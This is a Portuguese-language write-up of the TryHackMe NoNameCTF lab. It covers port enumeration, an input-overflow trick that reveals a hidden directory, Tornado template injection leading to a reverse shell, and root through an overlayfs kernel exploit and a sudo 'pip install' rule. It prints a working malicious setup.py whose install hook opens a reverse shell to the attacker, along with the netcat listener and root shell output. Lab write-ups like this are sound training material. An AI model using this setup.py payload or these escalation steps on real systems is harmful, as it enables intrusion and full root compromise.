[ Autor: Nicholas Ferreira ]
[0x4] NoNameCTF - TryHackme Writeup (em português)
09/07/2021Neste texto eu apresentarei minha resolução para a sala NoNameCTF do TryHackMe. A exploração da máquina envolve exploração de Server-Side Template Injection (SSTI), uma espécie de buffer overflow, e a escalação de privilégio foi feita de duas maneiras: através de uma falha no kernel e via permissões inadequadas para sudoers. Acima está o vídeo da primeira vez em que eu fiz a sala.
Enumeração
Iniciando a máquina, recebemos o IP 10.10.147.70. Vamos rodar um scan para ver as portas abertas:nich0las@0x7359:~$ sudo nmap -sSVC -Pn -vv 10.10.147.70
Not shown: 996 closed ports
Reason: 996 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 12:57:3f:cc:86:39:04:3b:f0:e6:46:bf:72:51:64:0b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1+fzUNMdVOD1RLT2OU1iOC5Av6
8TQ5E7Jy2x1IPhvOHkU8fzeWJBnAPZuxckO2mtmFL73m4mIRo4nyYmlBrTM090Hyg+P
+yJUuqepuTLdjXgZW/e1YvmFXoQUXVEencwBLN3dvYJ0t+Jvu4rfCbeyzHfUkTrt6tz
xaX3go8FKjVKuYMNq7frgTSWiO/k3rik1MNy4IedQOmKOCwxxAGdXXy+VcGtUAOWlIo
d6pBIU4CCEQJxE146xEIQI1czJuHrHXombZzfk9Ov+pY2NloxEORPQ2/sRD2+uYnfl4
OBWM/uupeY4doRF5futdZ7u5XP+aHSSMRieBRMsgFuR1her
| 256 81:05:75:ad:78:83:62:b2:06:41:5b:e5:a5:a9:82:4d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNT
YAAABBBMgGIaiwLHXLXGtioB2ZXuN/bkckCNW8ddroXERn3jIVjGjvDOZJY+J9bR/n2b
qa601xbGQLbK8cXsfu4/SjqD4=
| 256 0f:8d:0e:19:e9:c7:cc:14:39:e9:34:60:5c:f7:aa:fe (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINcfH8RQ/iANAMirzQDTd9DqQWtaRg
hdHwVVrAou0c+j
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open EtherNetIP-1? syn-ack ttl 61
| fingerprint-strings:
| DNSStatusRequestTCP, GenericLines, Kerberos, NULL, SSLSessionReq, TerminalServerCookie:
| Welcome to the NoNameCTF!
| Choose an action:
| regiser: 1
| login: 2
| get_secret_directory: 3
| store_your_buffer: 4
| GetRequest, HTTPOptions, Help, RTSPRequest:
| Welcome to the NoNameCTF!
| Choose an action:
| regiser: 1
| login: 2
| get_secret_directory: 3
| store_your_buffer: 4
| Wrong option
|_ Good bye
9090/tcp open http syn-ack ttl 61 Tornado httpd 6.0.3
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: TornadoServer/6.0.3
|_http-title: Site doesn't have a title (text/plain).
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.80%I=7%D=7/9%Time=60E89682%P=x86_64-pc-linux-gnu%r(NUL
SF:L,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n
SF:>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x2
SF:03\r\n>\x20store_your_buffer:\x204\r\n")%r(GenericLines,7B,"Welcome\x20
SF:to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x20
SF:1\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\n>\x20store_
SF:your_buffer:\x204\r\n")%r(GetRequest,93,"Welcome\x20to\x20the\x20NoName
SF:CTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x201\r\n>\x20login:\x2
SF:02\r\n>\x20get_secret_directory:\x203\r\n>\x20store_your_buffer:\x204\r
SF:\nWrong\x20option\r\nGood\x20bye\r\n")%r(HTTPOptions,93,"Welcome\x20to\
SF:x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x201\r
SF:\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\n>\x20store_you
SF:r_buffer:\x204\r\nWrong\x20option\r\nGood\x20bye\r\n")%r(RTSPRequest,93
SF:,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x2
SF:0regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r
SF:\n>\x20store_your_buffer:\x204\r\nWrong\x20option\r\nGood\x20bye\r\n")%
SF:r(DNSStatusRequestTCP,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\
SF:x20an\x20action:\r\n>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_
SF:secret_directory:\x203\r\n>\x20store_your_buffer:\x204\r\n")%r(Help,93,
SF:"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20
SF:regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\
SF:n>\x20store_your_buffer:\x204\r\nWrong\x20option\r\nGood\x20bye\r\n")%r
SF:(SSLSessionReq,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x
SF:20action:\r\n>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_
SF:directory:\x203\r\n>\x20store_your_buffer:\x204\r\n")%r(TerminalServerC
SF:ookie,7B,"Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:
SF:\r\n>\x20regiser:\x201\r\n>\x20login:\x202\r\n>\x20get_secret_directory
SF::\x203\r\n>\x20store_your_buffer:\x204\r\n")%r(Kerberos,7B,"Welcome\x20
SF:to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\n>\x20regiser:\x20
SF:1\r\n>\x20login:\x202\r\n>\x20get_secret_directory:\x203\r\n>\x20store_
SF:your_buffer:\x204\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Há um SSH na porta 22, HTTP na 80 e 9090 e um serviço desconhecido na porta 2222. O HTTP da porta 9090 parece estar usando o Tornado httpd 6.0.3, um framework web do python. Pesquisando por ele, rapidamente vemos que há casos de exploração de server-side template injection nele. Quando isso ocorre, como no exemplo encontrado, podemos inserir e executar comandos do python remotamente através de parâmetros GET.
Na porta 9090, porém, há apenas uma mensagem de erro 404, que nos informa a existência do usuário 'zeldris'.
Na porta 80, há apenas a string "checkme!".
Porém, olhando o código fonte da página, vemos que há um comentário com informações referentes a um buffer, bem parecido com o que ocorre em aplicações vulneráveis a buffer overflow.
<html>
<head></head>
<body>
<!--char buffer[250]; -->
<!--A*1000-->
checkme!
</body>
</html>
Possivelmente isso será usado na exploração do binário vulnerável (sobre o qual a descrição da sala falou).
O uso de crawlers para descobrir diretórios no server HTTP na porta 80 e na 9090 não retornou nada.
Conversando com o serviço
Continuando, vemos que na porta 2222 há um serviço estranho. Ao conectarmos nele via nc, recebemos o seguinte banner:nich0las@0x7359:~$ nc -v 10.10.147.70 2222
Connection to 10.10.147.70 2222 port [tcp/*] succeeded!
Welcome to the NoNameCTF!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
Connection to 10.10.147.70 2222 port [tcp/*] succeeded!
Welcome to the NoNameCTF!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
Explorando as opções, vemos que precisamos primeiro registrar com a opção 1, depois fazer login com a opção 2, depois gravar o buffer com a opção 4 e ver o diretório secreto com a opção 3. Mas ao fazermos isso, o "get_secret_directory" retorna exatamente o que colocamos no "store_your_buffer".
nich0las@0x7359:~$ nc -v 10.10.147.70 2222
Connection to 10.10.147.70 2222 port [tcp/*] succeeded!
Welcome to the NoNameCTF!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
1
Enter an username:teste
Enter a password:senha123
User teste successfully registered. You can login now!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
2
Username:teste
Password:senha123
You're now authenticated!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
4
Enter your buffer:seinscreve
Flag saved!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
3
My secret in the port 9090 is: seinscreve
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
Connection to 10.10.147.70 2222 port [tcp/*] succeeded!
Welcome to the NoNameCTF!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
1
Enter an username:teste
Enter a password:senha123
User teste successfully registered. You can login now!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
2
Username:teste
Password:senha123
You're now authenticated!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
4
Enter your buffer:seinscreve
Flag saved!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
3
My secret in the port 9090 is: seinscreve
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
Isso me fez pensar que ele criou o diretório com o nome do nosso buffer, mas esse não é o caso.
Explorando o "buffer overflow"
Lembrando do 'A*1000' que havíamos encontrado na index do webserver na porta 80, resolvi inserir 1000 'A's e mais alguns caracteres no campo de buffer da aplicação, e, ao selecionar a opção 3, um novo diretório é retornado:Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
4
Enter your buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA......
Flag saved!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
3
My secret in the port 9090 is: /40b5dffec---EDITADO---61d2fc4a038/
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
4
Enter your buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA......
Flag saved!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
3
My secret in the port 9090 is: /40b5dffec---EDITADO---61d2fc4a038/
Confesso que fiquei decepcionado com esse buffer overflow. Esperava conseguir acesso à máquina de alguma maneira, ter acesso ao binário ou ao seu código fonte e explorá-lo para escalar privilégio.
De qualquer forma, acessando esse novo diretório, uma página é exibida:
Não há nada de interessante nela. Porém, em seu código fonte, há um comentário fazendo menção a um parâmetro GET:
Ao inserir algo nesse parâmetro, vemos que o que escrevemos é refletido na página.
Somando isso com o que encontramos antes sobre SSTI no Tornado HTTPd, ao testarmos o payload {{ 4*4 }}, o resultado é avaliado e retornado como se esperava, confirmando o SSTI.
Então, importando a biblioteca os, podemos executar comandos no sistema operacional para obtermos uma shell reversa. Para isso, verificamos que o nc.traditional está instalado e, em seguida, deixamos o nc ouvindo na nossa máquina e rodamos o comando para fazer a conexão.
nich0las@0x7359:~$ nc -lvp 7359
Listening on 0.0.0.0 7359
Connection received on 10.10.147.70 44892
script -qc /bin/bash /dev/null
zeldris@ubuntu:~/nonamectf/ssti$
Listening on 0.0.0.0 7359
Connection received on 10.10.147.70 44892
script -qc /bin/bash /dev/null
zeldris@ubuntu:~/nonamectf/ssti$
Tendo a shell, facilmente obtemos a flag de user na home do usuário zeldris.
Escalação de privilégio
Eu fiz a escalação de privilégio de duas maneiras diferentes, uma explorando o kernel e outra explorando o pip.Explorando o kernel
zeldris@ubuntu:~/nonamectf/ssti$ uname -a
Linux ubuntu 4.4.0-174-generic #204-Ubuntu SMP Wed Jan 29 06:41:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Linux ubuntu 4.4.0-174-generic #204-Ubuntu SMP Wed Jan 29 06:41:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Como vemos, a máquina roda um Ubuntu 4.4, que é vulnerável ao overlayfs, uma vulnerabilidade no kernel que permite escalação de privilégio para root. Upei via SCP um exploit que eu já tinha compilado em minha máquina para a máquina alvo. Para usar o SCP, usei a shell que eu já tinha para colocar uma chave pública minha no /home/zeldris/.ssh/authorized_keys.
nich0las@0x7359:~$ scp -i chave overlayfs zeldris@10.10.147.70:/tmp
Executando-o, facilmente obtive root.
zeldris@ubuntu:/tmp$ ./overlayfs
bash-4.3# whoami
root
bash-4.3# whoami
root
Explorando o python
Eu suponho que o root da máquina não deveria ter sido obtido através desse exploit, e confirmei a suspeita ao ler o conteúdo da flag de root. De qualquer maneira, uma coisa que não verifiquei na máquina quando entrei nela era se o usuário zeldris é sudoer. Como eu não tinha a senha dele, nem pensei em usar o sudo -l, pois pensei que ele exigiria senha.Porém, ao rodar o linpeas.sh, foi possível ver que o usuário zeldris (ao qual temos acesso) pode rodar pip install * como root.
zeldris@ubuntu:/tmp$ sudo -l
Matching Defaults entries for zeldris on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User zeldris may run the following commands on ubuntu:
(ALL : ALL) ALL
(root : root) NOPASSWD: /usr/bin/pip install *
Matching Defaults entries for zeldris on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User zeldris may run the following commands on ubuntu:
(ALL : ALL) ALL
(root : root) NOPASSWD: /usr/bin/pip install *
Pesquisando um pouco, encontrei um post em um blog mostrando como escalar privilégio tendo permissão de rodar pip install como root. Basta criar um script python "script.py" e instalá-lo como módulo.
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
RHOST = '10.0.0.2'
reverse_shell = 'python -c "import os; import pty; import socket;
lhost = \'%s\'; lport = 4444; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\');
pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)
setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
url='https://github.com/0x00-0x00/fakepip',
author='zc00l',
author_email='andre.marques@esecurity.com.br',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})
Tendo editado e salvo o código, basta configurar o netcat para ouvir na porta configurada (4444) e rodar o seguinte comando no alvo:
zeldris@ubuntu:/tmp$ sudo -H /usr/bin/pip install script.py --upgrade --force-reinstall
Imediatamente, recebemos uma shell root no netcat.
nich0las@0x7359:~$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.147.70 46464
root@ubuntu:/tmp/pip-uvh1xX-build# id
id
uid=0(root) gid=0(root) groups=0(root)
Listening on 0.0.0.0 4444
Connection received on 10.10.147.70 46464
root@ubuntu:/tmp/pip-uvh1xX-build# id
id
uid=0(root) gid=0(root) groups=0(root)
=)